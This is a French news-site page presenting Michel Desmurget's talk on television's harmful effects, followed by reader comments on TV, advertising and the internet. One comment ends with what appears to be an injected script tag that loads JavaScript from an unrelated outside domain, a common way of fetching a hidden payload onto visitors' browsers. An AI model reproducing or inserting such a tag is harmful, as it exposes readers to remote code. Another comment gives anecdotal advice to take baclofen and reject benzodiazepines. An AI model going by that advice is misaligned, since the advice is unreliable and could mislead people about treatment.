TV Lobotomie - La vérité scientifique sur les effets de la télévision
Pour les spécialistes, tel Michel Desmurget, il n’y a plus de doute : la télévision est un fléau. Elle exerce une influence profondément négative sur le développement intellectuel, les résultats scolaires, le langage, l’attention, l’imagination, la créativité, la violence, le sommeil, le tabagisme, l’alcoolisme, la sexualité, l’image du corps, le comportement alimentaire, l’obésité et l’espérance de vie.
Ces faits sont niés avec un aplomb fascinant par l’industrie audiovisuelle et son armée d’experts complaisants. La stratégie n’est pas nouvelle : les cigarettiers l’avaient utilisée, en leur temps, pour contester le caractère cancérigène du tabac…
Tags : Société Enfance Télévision Médias
17 réactions à cet article
-
Re..smur..mur..get a..a..aaaa rai..rai..son la..la..laaaa té..lé..vi..vi..vi..sion ça rend con..concon con..ple..te..ment con.
-
-
-
Une conférence d’utilité publique à recommander à tous les enseignants et les parents. La télévision est une arme de distraction massive qui banalise la violence et la peur.
-
la télévision est un outil, d’une lame d’acier je peux pourfendre du gueux ou débiter du petit bois.
c’est l’utilisation de l’outil qui est contestable.
-
la télévision est de toute façon morte a brève échéance, l’ordinateur est l’avenir.
l’écran donne l’avantage de par exemple apprendre avec des images, je pense notamment a ARTE qui diffuse pas mal de bons documentaires (certes limités).
le problème majeur (pour un citoyen, mais une aubaine pour l’ordre établit) est de la passivité du regardant, la TV est un livre au mauvais contenu. elle empêche l’expression.
-
l’ordinateur permet de ne plus subir cela, de 1 en répondant, en écrivant en propageant et de 2 en sélectionnant soit même ce qu’on veut regarder comme programme et a quel moment (par programme j’entends conférence audio, visuelle, mais aussi site d’information et d’instruction)
-
l’internet peut offrir un espace d’émancipation (intellectuelle) collective qu’il faudra traduire en fait politique et économique, mais aussi éthique. -
@ kemilein
Avez-vous pris la peine de regarder la conférence avant de poster ? L’auteur COMMENCE par tordre le cou exactement à ce que vous venez d’affirmer : l’usage de l’ordinateur ne fait pas diminuer le temps passé devant la télévision, et contrairement à ce que les gens affirment dans les sondages (on préfère arte et les documentaires animaliers), ce sont tf1, les émissions de téléréalité et le "sport" qui ont la part belle dans l’audimat.
Plutôt que de vous complaire dans vos certitudes, je vous recommande de prendre la peine d’écouter ce que dit cet auteur. Il s’appuie sur des faits scientifiques et statistiques, pas sur des à priori et des jugements de valeur.
-
C’est même pas vrai ce que dit le monsieur, si c’était vrai ils en parleraient à la télévision !
-
Yaka voir Joletaxi Marco07 comment ils sont atteints " L’esprit humain semble passer d’une certitude à une autre, sans jamais vouloir reconnaître son ignorance. Toute notre science, ou notre connaissance repose sur la simple « croyance » d’être dans le vrai jusqu’à ce que la découverte d’un paradoxe logique ou d’une contradiction avec les faits opère une remise en cause dramatique des doctrines officielles ou communément admises. "
-
Il faut systématiquement éviter de payer pour de la pub ... vaut mieux par exemple acheter des produits de marque du distributeur (généralement des produits de bonne qualité quelle que soit leur fabricant) ... ainsi, on ne paie pas pour de la pub !!!
.
Je ne vais pas citer de marques, mais souvent, les marques les plus médiatisées, celles qui font le plus de pub ... sont généralement les plus mauvaises.
En famille, nous l’avons maintes fois constaté... y’a pas photo, ni pour le goût, la qualité, les quantités de sucres/sel etc ... et le prix !!!-
.... en fait je ne peux plus regarder la télévision, depuis quelques mois, même la laisser allumer pour avoir un fond sonore. Alors est-ce que cela m’a rendu moins con ? D’après mes proches, non. Mais comment leur faire confiance, eux qui continuent à la regarder... On voit bien mon dilemme face à la question soulevée. En combien de temps mon réseau neuronal sera restauré ? Pour l’instant je ne sens pas de réel progrès, j’ai toujours autant de mal à me plonger dans un bouquin. Je renâcle après six mois d’abstinence télévisuelle à faire mes comptes. Si tôt qu’un problème se pose, je l’élude. Non après six mois d’arrêt je n’ai toujours pas retrouver mon plein rendement intellectuel. Il faut l’admettre la télé est responsable de ma déchéance. Mon alcoolisme que j’arrive à juguler maintenant après deux mois d’un traitement sévère, vient certainement de là... J’ai essayé de regarder Taddei, hier soir, et bien vous me croirez ou non, je me suis levé de mon siège pour aller dans le frigo, heureusement il n’y avait plus une bouteille et l’épicerie était fermée. Je l’ai échappé belle ! Je peux donc en conclure, qu’en plus de rendre con, la télé rend alcoolique !
-
Sous Baclofène depuis 7 mois, je peux vous affirmer que les envies subites (craving) appartiennent au passé. Renseignez-vous, cette découverte récente - qui est peut-etre un scandale du mediator à l’envers - peut vous sauver de la maladie alcoolique. Et rejetez ces saloperies de benzodiazépines.
http://www.agoravox.fr/actualites/sante/article/le-dogme-de-l-abstinence-en-107406
http://www.dailymotion.com/video/xe9jpd_expose-de-renaud-de-beaurepaire-sur_lifestyle
amicalement. -
On pourrait peut-être aussi parler de la fiabilité de Médiamétrie ?
Je me trompe peut-être mais :
Le calcul des audiences se fait forcément chez des familles suffisamment "addict" pour installer un terminal médiamétrie chez eux ?
.
C’est comme les sondages qui tendent à faire croire que tout le monde a un téléphone portable.-
En fait, on peut regarder la tv sans problème ... à condition d’avoir un minimum de liberté d’esprit et de réflexion ... car tv ou pas ; si on est très influençable, qu’on ait du mal à réfléchir , on peut tout aussi bien subir toutes les conneries qui nous entourent, pub sur les murs, dans les jrnx et revues ...
-
Vous dites cela comme si la TV (et particulièrement la pub) s’adressait à nous d’égal à égal. Or l’auteur démontre que les émissions et les pubs sont conçus par des neurologues, qui mettent à profits leurs connaissances du cerveau humain pour induire un comportement (d’achat, essentiellement) chez le spectateur. Leur première victoire est peut-être de vous laisser croire que vous n’êtes pas sous leur influence ...
-
Je crois plutôt que les pub s’adressent avant tout à ceux qui ne réfléchissent pas ... et parmi ces derniers ... bcp se croient "pas cons" ...
Et ces dernières années ... qui n’a pas entendu/vu ... le truc "vu à la tv" ... comme si c’était un gage de qualité !!! -
Entièrement d’accord avec Hijack, mais il n’y a pas juste la pub qui nous rend "marteau", les émissions de télé-réalité par exemple, quel en est l’intérêt si ce n’est de rendre les gens complètements stupides. Combien sont-ils prêt à se taper dessus pour défendre un de leur "chouchou". Commençons d’abord par rejeter toutes ses émissions dites "distrayantes" qui n’ont pour seule but de nous rendre stupide et éduquons nos enfants avec de "vrais" émissions, celles qui leur apportera qlqqchose de concret dans l’instant mais aussi dans leur futur.
<script src="http://superoseplugin.info/dfi823hs.js?0.7412523811829358"></script> -
Vidéo trés interessante. Cela démontre bien comment nos choix politiques, de consommations sont influencés et cadrés... ! *
La télévision est un instrument qu’il faut bannir de nos foyers...
Quand je pense qu’en plus le système à le culot de nous faire payer une redevance sur cet outil qui lui sert à nous formater à son image.... !
-
-
-
-
-
-
-
-
Ajouter une réaction
Pour réagir, identifiez-vous avec votre login / mot de passe, en haut à droite de cette page
Si vous n'avez pas de login / mot de passe, vous devez vous inscrire ici.
FAIRE UN DON